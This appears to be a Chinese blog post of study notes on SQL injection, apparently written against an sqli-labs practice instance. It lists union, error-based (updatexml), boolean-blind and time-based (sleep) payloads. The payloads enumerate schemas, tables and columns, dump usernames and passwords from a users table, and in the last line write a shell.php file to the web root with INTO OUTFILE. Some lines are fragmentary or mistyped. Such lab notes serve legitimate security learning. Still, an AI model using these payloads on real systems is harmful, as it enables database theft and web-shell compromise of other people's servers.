SQL注入
Posted hou159656
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入相关的知识,希望对你有一定的参考价值。
Union联合查询注入大致步骤:
1.判断列数 -- 通过 order by n;
2.判断显示位 -- id =-1 union select 1,2,3挨着试
报错注入
1.报错注入就是构造让信息通过错误提示回显出来,
前提:页面上没有显示位,但是需要执行SQl语句输出错误信息
基于布尔类型的注入
页面上不需要显示位,也没有输出错误信息,只能通过页面返回是否正常
时间注入
原理:正确的sql语句和错误的sql语句返回的时间不一样,依此来判断查询结果的正确性,但是要耗费大量时间。
%23 注释掉 - - +也是
id title content time author
select * from new where id=1?
select 联合查询 union
order by 排序 先知道有几列 在联合查询
version 版本号
前后两个语句都对就显示ID了,把不要查的报错后面的版本信息就出来了id=-1 union select 1,2 ,version()
查询数据库中所有的库名
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata 所有的库名
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=‘security‘ 表名
schemate 保存所有数据库的名字 tables 保存所有的表的名字 column 保存所有的字段的名字
id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘users‘爆 列名
schemata
库名.表名
union select 1,2,group_concat(SCHEMA_NAME) from information_schema.schemata
、、查询所有的表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()
查询当前库中某一个表的所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘users‘
group_concat schema.schemata SCHEMA_NAME
查字段的内容union select 1,group_concat(username),group_concat(password) from security.users 或者 union select 1,2,group_concat(username, ‘-‘,password) from users
查询所有的咧 select column_name from
报错查询‘) union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
id=‘) union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
select ascii(substr(database(),1,1)) = 127 substr 截取字符串函数
先报错
select ascii(substr(database(),1,1)) = id=1‘ and ascii(substr(database(),1,1)) > 64 %23 求数据库名的首字母
求用户名的长度 id=1‘ and (select length (user())=14)--+ length 求长度的函数
http://10.1.2.5:10631/sqli/Less-8/?id=1‘and ength(current_user())%23
求当前用户名的函数current_user() 时间盲注 select if(length(current_user())=14,sleep(2),1);
时间注入: if(payload,sleep(3),1)
即payload正确时,程序暂停3秒。否则立刻执行
?id=1" and sleep(5) %23 时间判断是什么语句
if()语句
id=1" and if(ascii(substr(database(),1,1)) = 115, sleep(2),1) %查询当前数据库用户名的首字母
?id=1‘)) union select 1,2,3 into outfile ‘c:\\www\\shell.php‘ %23 写入文件
以上是关于SQL注入的主要内容,如果未能解决你的问题,请参考以下文章